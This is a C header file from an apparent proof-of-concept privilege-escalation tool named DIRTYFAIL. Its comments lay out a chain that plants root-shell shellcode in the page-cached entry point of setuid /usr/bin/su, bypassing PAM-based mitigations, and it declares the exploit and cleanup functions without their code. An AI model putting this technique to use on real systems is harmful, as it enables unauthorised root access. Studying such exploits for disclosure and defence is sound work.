/* * DIRTYFAIL — exploit_su.h * * V4bel-style page-cache shellcode injection against /usr/bin/su. * * Different chain than the /etc/passwd UID-flip exploits: * - Targets /usr/bin/su's ELF entry point in the page cache * - Plants ~48 bytes of x86_64 shellcode (setuid(0); setgid(0); * execve("/bin/sh")) via 12 chained 4-byte writes * - When /usr/bin/su is exec'd, kernel sets euid=0 (setuid bit on * disk, unaffected by page-cache mods), dynamic linker resolves, * control transfers to entry point → our shellcode → /bin/sh * * Mitigation profile vs. /etc/passwd flip: * + Bypasses `pam_unix nullok` removal — no PAM dependency at all * + Works even if password rotation policy enforces complex passwords * - Crashes /usr/bin/su system-wide if shellcode is wrong (until * drop_caches or reboot) * - Stash-and-revert is the safety net: cleanup-su restores the * original 48 bytes from /var/tmp/.dirtyfail-su.state. * * Architecture: x86_64 only for now. The shellcode is hardcoded for * the SYSV amd64 syscall ABI. arm64/aarch64 would need a different * shellcode blob and possibly a different entry-point fixup. * * Reference: V4bel/dirtyfrag's xfrm-ESP variant uses the same target * file pattern with a different (4-byte) primitive. Theori's Xint * disclosure uses /usr/bin/su as the canonical target. */ #ifndef DIRTYFAIL_EXPLOIT_SU_H #define DIRTYFAIL_EXPLOIT_SU_H #include "common.h" /* End-to-end PoC: locate /usr/bin/su (or DIRTYFAIL_SU_PATH override), * stash original entry-point bytes, plant shellcode, verify, and * (if do_shell) invoke `su -` so the kernel exec's our hijacked * /usr/bin/su as setuid root → shellcode runs → /bin/sh. * * `do_shell=false` runs the plant + verify + revert sequence — useful * for testing the primitive without leaving the system in a broken * state (su would otherwise be unusable until drop_caches). */ df_result_t exploit_su_shellcode(bool do_shell); /* Restore /usr/bin/su's original entry-point bytes from * /var/tmp/.dirtyfail-su.state and drop_caches to evict the modified * page. Returns DF_OK on success, DF_TEST_ERROR if state file is * missing or the on-disk file no longer matches. */ df_result_t cleanup_su_shellcode(void); /* Used by --list-state. Returns true if /var/tmp/.dirtyfail-su.state * is present (and prints a summary), false if absent. Side-effect free. */ bool exploit_su_list_state(void); #endif